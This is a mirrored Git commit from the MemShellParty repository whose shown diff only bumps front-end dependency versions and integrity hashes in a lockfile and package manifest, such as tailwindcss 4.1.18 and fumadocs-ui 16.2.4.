mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
docs: add memshell-core-config mdx
This commit is contained in:
+30
-30
@@ -13,20 +13,20 @@
|
||||
"@tanstack/react-query": "^5.90.12",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"framer-motion": "^12.23.25",
|
||||
"framer-motion": "^12.23.26",
|
||||
"fumadocs-core": "^16.2.4",
|
||||
"fumadocs-mdx": "14.1.0",
|
||||
"fumadocs-ui": "16.2.3",
|
||||
"fumadocs-ui": "16.2.4",
|
||||
"i18next": "^25.7.2",
|
||||
"isbot": "^5.1.32",
|
||||
"lucide-react": "^0.556.0",
|
||||
"motion": "^12.23.25",
|
||||
"lucide-react": "^0.560.0",
|
||||
"motion": "^12.23.26",
|
||||
"radix-ui": "^1.4.3",
|
||||
"react": "^19.2.1",
|
||||
"react-copy-to-clipboard": "^5.1.0",
|
||||
"react-dom": "^19.2.1",
|
||||
"react-hook-form": "^7.68.0",
|
||||
"react-i18next": "^16.4.0",
|
||||
"react-i18next": "^16.4.1",
|
||||
"react-medium-image-zoom": "^5.4.0",
|
||||
"react-syntax-highlighter": "^16.1.0",
|
||||
"sonner": "^2.0.7",
|
||||
@@ -39,7 +39,7 @@
|
||||
"@react-router/dev": "^7.10.1",
|
||||
"@tailwindcss/vite": "^4.1.17",
|
||||
"@types/mdx": "^2.0.13",
|
||||
"@types/node": "^24.10.2",
|
||||
"@types/node": "^25.0.0",
|
||||
"@types/react": "^19.2.7",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
@@ -426,35 +426,35 @@
|
||||
|
||||
"@standard-schema/utils": ["@standard-schema/[email protected]", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="],
|
||||
|
||||
"@tailwindcss/node": ["@tailwindcss/[email protected]7", "", { "dependencies": { "@jridgewell/remapping": "^2.3.4", "enhanced-resolve": "^5.18.3", "jiti": "^2.6.1", "lightningcss": "1.30.2", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.1.17" } }, "sha512-csIkHIgLb3JisEFQ0vxr2Y57GUNYh447C8xzwj89U/8fdW8LhProdxvnVH6U8M2Y73QKiTIH+LWbK3V2BBZsAg=="],
|
||||
"@tailwindcss/node": ["@tailwindcss/[email protected]8", "", { "dependencies": { "@jridgewell/remapping": "^2.3.4", "enhanced-resolve": "^5.18.3", "jiti": "^2.6.1", "lightningcss": "1.30.2", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.1.18" } }, "sha512-DoR7U1P7iYhw16qJ49fgXUlry1t4CpXeErJHnQ44JgTSKMaZUdf17cfn5mHchfJ4KRBZRFA/Coo+MUF5+gOaCQ=="],
|
||||
|
||||
"@tailwindcss/oxide": ["@tailwindcss/[email protected]7", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.1.17", "@tailwindcss/oxide-darwin-arm64": "4.1.17", "@tailwindcss/oxide-darwin-x64": "4.1.17", "@tailwindcss/oxide-freebsd-x64": "4.1.17", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.1.17", "@tailwindcss/oxide-linux-arm64-gnu": "4.1.17", "@tailwindcss/oxide-linux-arm64-musl": "4.1.17", "@tailwindcss/oxide-linux-x64-gnu": "4.1.17", "@tailwindcss/oxide-linux-x64-musl": "4.1.17", "@tailwindcss/oxide-wasm32-wasi": "4.1.17", "@tailwindcss/oxide-win32-arm64-msvc": "4.1.17", "@tailwindcss/oxide-win32-x64-msvc": "4.1.17" } }, "sha512-F0F7d01fmkQhsTjXezGBLdrl1KresJTcI3DB8EkScCldyKp3Msz4hub4uyYaVnk88BAS1g5DQjjF6F5qczheLA=="],
|
||||
"@tailwindcss/oxide": ["@tailwindcss/[email protected]8", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.1.18", "@tailwindcss/oxide-darwin-arm64": "4.1.18", "@tailwindcss/oxide-darwin-x64": "4.1.18", "@tailwindcss/oxide-freebsd-x64": "4.1.18", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.1.18", "@tailwindcss/oxide-linux-arm64-gnu": "4.1.18", "@tailwindcss/oxide-linux-arm64-musl": "4.1.18", "@tailwindcss/oxide-linux-x64-gnu": "4.1.18", "@tailwindcss/oxide-linux-x64-musl": "4.1.18", "@tailwindcss/oxide-wasm32-wasi": "4.1.18", "@tailwindcss/oxide-win32-arm64-msvc": "4.1.18", "@tailwindcss/oxide-win32-x64-msvc": "4.1.18" } }, "sha512-EgCR5tTS5bUSKQgzeMClT6iCY3ToqE1y+ZB0AKldj809QXk1Y+3jB0upOYZrn9aGIzPtUsP7sX4QQ4XtjBB95A=="],
|
||||
|
||||
"@tailwindcss/oxide-android-arm64": ["@tailwindcss/[email protected]7", "", { "os": "android", "cpu": "arm64" }, "sha512-BMqpkJHgOZ5z78qqiGE6ZIRExyaHyuxjgrJ6eBO5+hfrfGkuya0lYfw8fRHG77gdTjWkNWEEm+qeG2cDMxArLQ=="],
|
||||
"@tailwindcss/oxide-android-arm64": ["@tailwindcss/[email protected]8", "", { "os": "android", "cpu": "arm64" }, "sha512-dJHz7+Ugr9U/diKJA0W6N/6/cjI+ZTAoxPf9Iz9BFRF2GzEX8IvXxFIi/dZBloVJX/MZGvRuFA9rqwdiIEZQ0Q=="],
|
||||
|
||||
"@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/[email protected]7", "", { "os": "darwin", "cpu": "arm64" }, "sha512-EquyumkQweUBNk1zGEU/wfZo2qkp/nQKRZM8bUYO0J+Lums5+wl2CcG1f9BgAjn/u9pJzdYddHWBiFXJTcxmOg=="],
|
||||
"@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/[email protected]8", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Gc2q4Qhs660bhjyBSKgq6BYvwDz4G+BuyJ5H1xfhmDR3D8HnHCmT/BSkvSL0vQLy/nkMLY20PQ2OoYMO15Jd0A=="],
|
||||
|
||||
"@tailwindcss/oxide-darwin-x64": ["@tailwindcss/[email protected]7", "", { "os": "darwin", "cpu": "x64" }, "sha512-gdhEPLzke2Pog8s12oADwYu0IAw04Y2tlmgVzIN0+046ytcgx8uZmCzEg4VcQh+AHKiS7xaL8kGo/QTiNEGRog=="],
|
||||
"@tailwindcss/oxide-darwin-x64": ["@tailwindcss/[email protected]8", "", { "os": "darwin", "cpu": "x64" }, "sha512-FL5oxr2xQsFrc3X9o1fjHKBYBMD1QZNyc1Xzw/h5Qu4XnEBi3dZn96HcHm41c/euGV+GRiXFfh2hUCyKi/e+yw=="],
|
||||
|
||||
"@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/[email protected]7", "", { "os": "freebsd", "cpu": "x64" }, "sha512-hxGS81KskMxML9DXsaXT1H0DyA+ZBIbyG/sSAjWNe2EDl7TkPOBI42GBV3u38itzGUOmFfCzk1iAjDXds8Oh0g=="],
|
||||
"@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/[email protected]8", "", { "os": "freebsd", "cpu": "x64" }, "sha512-Fj+RHgu5bDodmV1dM9yAxlfJwkkWvLiRjbhuO2LEtwtlYlBgiAT4x/j5wQr1tC3SANAgD+0YcmWVrj8R9trVMA=="],
|
||||
|
||||
"@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/[email protected]7", "", { "os": "linux", "cpu": "arm" }, "sha512-k7jWk5E3ldAdw0cNglhjSgv501u7yrMf8oeZ0cElhxU6Y2o7f8yqelOp3fhf7evjIS6ujTI3U8pKUXV2I4iXHQ=="],
|
||||
"@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/[email protected]8", "", { "os": "linux", "cpu": "arm" }, "sha512-Fp+Wzk/Ws4dZn+LV2Nqx3IilnhH51YZoRaYHQsVq3RQvEl+71VGKFpkfHrLM/Li+kt5c0DJe/bHXK1eHgDmdiA=="],
|
||||
|
||||
"@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/[email protected]7", "", { "os": "linux", "cpu": "arm64" }, "sha512-HVDOm/mxK6+TbARwdW17WrgDYEGzmoYayrCgmLEw7FxTPLcp/glBisuyWkFz/jb7ZfiAXAXUACfyItn+nTgsdQ=="],
|
||||
"@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/[email protected]8", "", { "os": "linux", "cpu": "arm64" }, "sha512-S0n3jboLysNbh55Vrt7pk9wgpyTTPD0fdQeh7wQfMqLPM/Hrxi+dVsLsPrycQjGKEQk85Kgbx+6+QnYNiHalnw=="],
|
||||
|
||||
"@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/[email protected]7", "", { "os": "linux", "cpu": "arm64" }, "sha512-HvZLfGr42i5anKtIeQzxdkw/wPqIbpeZqe7vd3V9vI3RQxe3xU1fLjss0TjyhxWcBaipk7NYwSrwTwK1hJARMg=="],
|
||||
"@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/[email protected]8", "", { "os": "linux", "cpu": "arm64" }, "sha512-1px92582HkPQlaaCkdRcio71p8bc8i/ap5807tPRDK/uw953cauQBT8c5tVGkOwrHMfc2Yh6UuxaH4vtTjGvHg=="],
|
||||
|
||||
"@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/[email protected]7", "", { "os": "linux", "cpu": "x64" }, "sha512-M3XZuORCGB7VPOEDH+nzpJ21XPvK5PyjlkSFkFziNHGLc5d6g3di2McAAblmaSUNl8IOmzYwLx9NsE7bplNkwQ=="],
|
||||
"@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/[email protected]8", "", { "os": "linux", "cpu": "x64" }, "sha512-v3gyT0ivkfBLoZGF9LyHmts0Isc8jHZyVcbzio6Wpzifg/+5ZJpDiRiUhDLkcr7f/r38SWNe7ucxmGW3j3Kb/g=="],
|
||||
|
||||
"@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/[email protected]7", "", { "os": "linux", "cpu": "x64" }, "sha512-k7f+pf9eXLEey4pBlw+8dgfJHY4PZ5qOUFDyNf7SI6lHjQ9Zt7+NcscjpwdCEbYi6FI5c2KDTDWyf2iHcCSyyQ=="],
|
||||
"@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/[email protected]8", "", { "os": "linux", "cpu": "x64" }, "sha512-bhJ2y2OQNlcRwwgOAGMY0xTFStt4/wyU6pvI6LSuZpRgKQwxTec0/3Scu91O8ir7qCR3AuepQKLU/kX99FouqQ=="],
|
||||
|
||||
"@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/[email protected]7", "", { "dependencies": { "@emnapi/core": "^1.6.0", "@emnapi/runtime": "^1.6.0", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.0.7", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.4.0" }, "cpu": "none" }, "sha512-cEytGqSSoy7zK4JRWiTCx43FsKP/zGr0CsuMawhH67ONlH+T79VteQeJQRO/X7L0juEUA8ZyuYikcRBf0vsxhg=="],
|
||||
"@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/[email protected]8", "", { "dependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.1.0", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.4.0" }, "cpu": "none" }, "sha512-LffYTvPjODiP6PT16oNeUQJzNVyJl1cjIebq/rWWBF+3eDst5JGEFSc5cWxyRCJ0Mxl+KyIkqRxk1XPEs9x8TA=="],
|
||||
|
||||
"@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/[email protected]7", "", { "os": "win32", "cpu": "arm64" }, "sha512-JU5AHr7gKbZlOGvMdb4722/0aYbU+tN6lv1kONx0JK2cGsh7g148zVWLM0IKR3NeKLv+L90chBVYcJ8uJWbC9A=="],
|
||||
"@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/[email protected]8", "", { "os": "win32", "cpu": "arm64" }, "sha512-HjSA7mr9HmC8fu6bdsZvZ+dhjyGCLdotjVOgLA2vEqxEBZaQo9YTX4kwgEvPCpRh8o4uWc4J/wEoFzhEmjvPbA=="],
|
||||
|
||||
"@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/[email protected]7", "", { "os": "win32", "cpu": "x64" }, "sha512-SKWM4waLuqx0IH+FMDUw6R66Hu4OuTALFgnleKbqhgGU30DY20NORZMZUKgLRjQXNN2TLzKvh48QXTig4h4bGw=="],
|
||||
"@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/[email protected]8", "", { "os": "win32", "cpu": "x64" }, "sha512-bJWbyYpUlqamC8dpR7pfjA0I7vdF6t5VpUGMWRkXVE3AXgIZjYUYAK7II1GNaxR8J1SSrSrppRar8G++JekE3Q=="],
|
||||
|
||||
"@tailwindcss/vite": ["@tailwindcss/[email protected]7", "", { "dependencies": { "@tailwindcss/node": "4.1.17", "@tailwindcss/oxide": "4.1.17", "tailwindcss": "4.1.17" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7" } }, "sha512-4+9w8ZHOiGnpcGI6z1TVVfWaX/koK7fKeSYF3qlYg2xpBtbteP2ddBxiarL+HVgfSJGeK5RIxRQmKm4rTJJAwA=="],
|
||||
"@tailwindcss/vite": ["@tailwindcss/[email protected]8", "", { "dependencies": { "@tailwindcss/node": "4.1.18", "@tailwindcss/oxide": "4.1.18", "tailwindcss": "4.1.18" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7" } }, "sha512-jVA+/UpKL1vRLg6Hkao5jldawNmRo7mQYrZtNHMIVpLfLhDml5nMRUo/8MwoX2vNXvnaXNNMedrMfMugAVX1nA=="],
|
||||
|
||||
"@tanstack/devtools": ["@tanstack/[email protected]", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.4", "@tanstack/devtools-event-bus": "0.3.3", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-ltVS+MpOrA37CiVunSOCcXctaDnQOJV6FPE5Y2uLq3m8b0spmHwp0edp1PRd2CMG4LnGIlRf7lYdhHa2p9CHNA=="],
|
||||
|
||||
@@ -490,7 +490,7 @@
|
||||
|
||||
"@types/ms": ["@types/[email protected]", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="],
|
||||
|
||||
"@types/node": ["@types/node@24.10.2", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-WOhQTZ4G8xZ1tjJTvKOpyEVSGgOTvJAfDK3FNFgELyaTpzhdgHVHeqW8V+UJvzF5BT+/B54T/1S2K6gd9c7bbA=="],
|
||||
"@types/node": ["@types/node@25.0.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-rl78HwuZlaDIUSeUKkmogkhebA+8K1Hy7tddZuJ3D0xV8pZSfsYGTsliGUol1JPzu9EKnTxPC4L1fiWouStRew=="],
|
||||
|
||||
"@types/parse-json": ["@types/[email protected]", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="],
|
||||
|
||||
@@ -718,7 +718,7 @@
|
||||
|
||||
"format": ["[email protected]", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="],
|
||||
|
||||
"framer-motion": ["[email protected]5", "", { "dependencies": { "motion-dom": "^12.23.23", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-gUHGl2e4VG66jOcH0JHhuJQr6ZNwrET9g31ZG0xdXzT0CznP7fHX4P8Bcvuc4MiUB90ysNnWX2ukHRIggkl6hQ=="],
|
||||
"framer-motion": ["[email protected]6", "", { "dependencies": { "motion-dom": "^12.23.23", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-cPcIhgR42xBn1Uj+PzOyheMtZ73H927+uWPDVhUMqxy8UHt6Okavb6xIz9J/phFUHUj0OncR6UvMfJTXoc/LKA=="],
|
||||
|
||||
"fsevents": ["[email protected]", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
|
||||
|
||||
@@ -726,7 +726,7 @@
|
||||
|
||||
"fumadocs-mdx": ["[email protected]", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.0.0", "chokidar": "^5.0.0", "esbuild": "^0.27.1", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-to-markdown": "^2.1.2", "picocolors": "^1.1.1", "picomatch": "^4.0.3", "remark-mdx": "^3.1.1", "tinyexec": "^1.0.2", "tinyglobby": "^0.2.15", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.3", "zod": "^4.1.13" }, "peerDependencies": { "@fumadocs/mdx-remote": "^1.4.0", "fumadocs-core": "^15.0.0 || ^16.0.0", "next": "^15.3.0 || ^16.0.0", "react": "*", "vite": "6.x.x || 7.x.x" }, "optionalPeers": ["@fumadocs/mdx-remote", "next", "react", "vite"], "bin": { "fumadocs-mdx": "dist/bin.js" } }, "sha512-6I3nXzM3+dSap5UZvKFQvOaKNKdMfxK5/8Cyu3am6zm0d/acuUxT1r1s1GQpc8H5iB9bFMtwyoZff1WN2qWq8g=="],
|
||||
|
||||
"fumadocs-ui": ["[email protected].3", "", { "dependencies": { "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "fumadocs-core": "16.2.3", "lodash.merge": "^4.6.2", "next-themes": "^0.4.6", "postcss-selector-parser": "^7.1.1", "react-medium-image-zoom": "^5.4.0", "scroll-into-view-if-needed": "^3.1.0", "tailwind-merge": "^3.4.0" }, "peerDependencies": { "@types/react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@types/react", "next", "tailwindcss"] }, "sha512-VsTz6qNDvWCeMhUa688P1G79PGW0odO6SjjM1psGZQ3T/LRQyhNY32i0WHb6aota8X4zYaOnfl6bK2CMOlRQvA=="],
|
||||
"fumadocs-ui": ["[email protected].4", "", { "dependencies": { "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "fumadocs-core": "16.2.4", "lodash.merge": "^4.6.2", "next-themes": "^0.4.6", "postcss-selector-parser": "^7.1.1", "react-medium-image-zoom": "^5.4.0", "scroll-into-view-if-needed": "^3.1.0", "tailwind-merge": "^3.4.0" }, "peerDependencies": { "@types/react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@types/react", "next", "tailwindcss"] }, "sha512-oUFbPbn15GENfMcUqklQiEA3JcBvHXbGteuuPCWHvFzoxR3j+V4dOrwfgXZVZ3zL0G7/g20K0v9YBuB67hA3mg=="],
|
||||
|
||||
"function-bind": ["[email protected]", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="],
|
||||
|
||||
@@ -866,7 +866,7 @@
|
||||
|
||||
"lru-cache": ["[email protected]", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
|
||||
|
||||
"lucide-react": ["[email protected]56.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-iOb8dRk7kLaYBZhR2VlV1CeJGxChBgUthpSP8wom9jfj79qovgG6qcSdiy6vkoREKPnbUYzJsCn4o4PtG3Iy+A=="],
|
||||
"lucide-react": ["[email protected]0.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-NwKoUA/aBShsdL8WE5lukV2F/tjHzQRlonQs7fkNGI1sCT0Ay4a9Ap3ST2clUUkcY+9eQ0pBe2hybTQd2fmyDA=="],
|
||||
|
||||
"magic-string": ["[email protected]", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
|
||||
|
||||
@@ -990,7 +990,7 @@
|
||||
|
||||
"minipass": ["[email protected]", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
|
||||
|
||||
"motion": ["[email protected]5", "", { "dependencies": { "framer-motion": "^12.23.25", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-Fk5Y1kcgxYiTYOUjmwfXQAP7tP+iGqw/on1UID9WEL/6KpzxPr9jY2169OsjgZvXJdpraKXy0orkjaCVIl5fgQ=="],
|
||||
"motion": ["[email protected]6", "", { "dependencies": { "framer-motion": "^12.23.26", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-Ll8XhVxY8LXMVYTCfme27WH2GjBrCIzY4+ndr5QKxsK+YwCtOi2B/oBi5jcIbik5doXuWT/4KKDOVAZJkeY5VQ=="],
|
||||
|
||||
"motion-dom": ["[email protected]", "", { "dependencies": { "motion-utils": "^12.23.6" } }, "sha512-n5yolOs0TQQBRUFImrRfs/+6X4p3Q4n1dUEqt/H58Vx7OW6RF+foWEgmTVDhIWJIMXOuNNL0apKH2S16en9eiA=="],
|
||||
|
||||
@@ -1084,7 +1084,7 @@
|
||||
|
||||
"react-hotkeys-hook": ["[email protected]", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="],
|
||||
|
||||
"react-i18next": ["[email protected].0", "", { "dependencies": { "@babel/runtime": "^7.27.6", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-bxVeBA8Ky2UeItNhF4JRxHCFIrpEJHGFG/mOAa4CR0JkqaDEYSLmlEgmC4Os63SBlZ+E5U0YyrNJOSVl2mtVqQ=="],
|
||||
"react-i18next": ["[email protected].1", "", { "dependencies": { "@babel/runtime": "^7.27.6", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-GzsYomxb1/uE7nlJm0e1qQ8f+W9I3Xirh9VoycZIahk6C8Pmv/9Fd0ek6zjf1FSgtGLElDGqwi/4FOHEGUbsEQ=="],
|
||||
|
||||
"react-is": ["[email protected]", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="],
|
||||
|
||||
@@ -1212,7 +1212,7 @@
|
||||
|
||||
"tailwind-merge": ["[email protected]", "", {}, "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g=="],
|
||||
|
||||
"tailwindcss": ["[email protected]7", "", {}, "sha512-j9Ee2YjuQqYT9bbRTfTZht9W/ytp5H+jJpZKiYdP/bpnXARAuELt9ofP0lPnmHjbga7SNQIxdTAXCmtKVYjN+Q=="],
|
||||
"tailwindcss": ["[email protected]8", "", {}, "sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw=="],
|
||||
|
||||
"tapable": ["[email protected]", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="],
|
||||
|
||||
@@ -1360,8 +1360,6 @@
|
||||
|
||||
"fumadocs-mdx/esbuild": ["[email protected]", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.1", "@esbuild/android-arm": "0.27.1", "@esbuild/android-arm64": "0.27.1", "@esbuild/android-x64": "0.27.1", "@esbuild/darwin-arm64": "0.27.1", "@esbuild/darwin-x64": "0.27.1", "@esbuild/freebsd-arm64": "0.27.1", "@esbuild/freebsd-x64": "0.27.1", "@esbuild/linux-arm": "0.27.1", "@esbuild/linux-arm64": "0.27.1", "@esbuild/linux-ia32": "0.27.1", "@esbuild/linux-loong64": "0.27.1", "@esbuild/linux-mips64el": "0.27.1", "@esbuild/linux-ppc64": "0.27.1", "@esbuild/linux-riscv64": "0.27.1", "@esbuild/linux-s390x": "0.27.1", "@esbuild/linux-x64": "0.27.1", "@esbuild/netbsd-arm64": "0.27.1", "@esbuild/netbsd-x64": "0.27.1", "@esbuild/openbsd-arm64": "0.27.1", "@esbuild/openbsd-x64": "0.27.1", "@esbuild/openharmony-arm64": "0.27.1", "@esbuild/sunos-x64": "0.27.1", "@esbuild/win32-arm64": "0.27.1", "@esbuild/win32-ia32": "0.27.1", "@esbuild/win32-x64": "0.27.1" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-yY35KZckJJuVVPXpvjgxiCuVEJT67F6zDeVTv4rizyPrfGBUpZQsvmxnN+C371c2esD/hNMjj4tpBhuueLN7aA=="],
|
||||
|
||||
"fumadocs-ui/fumadocs-core": ["[email protected]", "", { "dependencies": { "@formatjs/intl-localematcher": "^0.6.2", "@orama/orama": "^3.1.16", "@shikijs/rehype": "^3.19.0", "@shikijs/transformers": "^3.19.0", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "image-size": "^2.0.2", "negotiator": "^1.0.0", "npm-to-yarn": "^3.0.1", "path-to-regexp": "^8.3.0", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^3.19.0", "unist-util-visit": "^5.0.0" }, "peerDependencies": { "@mixedbread/sdk": "^0.19.0", "@orama/core": "1.x.x", "@tanstack/react-router": "1.x.x", "@types/react": "*", "algoliasearch": "5.x.x", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "^0.26.0 || ^0.27.0", "zod": "*" }, "optionalPeers": ["@mixedbread/sdk", "@orama/core", "@tanstack/react-router", "@types/react", "algoliasearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-HFtS0Gwf4izYbmkB8gj0sQWv8G9yyI8tM5RQ3E8fSD5IRVtBWhPq05zOIIM523XUGfDBvm/qDOquDqVF5NDO+A=="],
|
||||
|
||||
"mime-types/mime-db": ["[email protected]", "", {}, "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ=="],
|
||||
|
||||
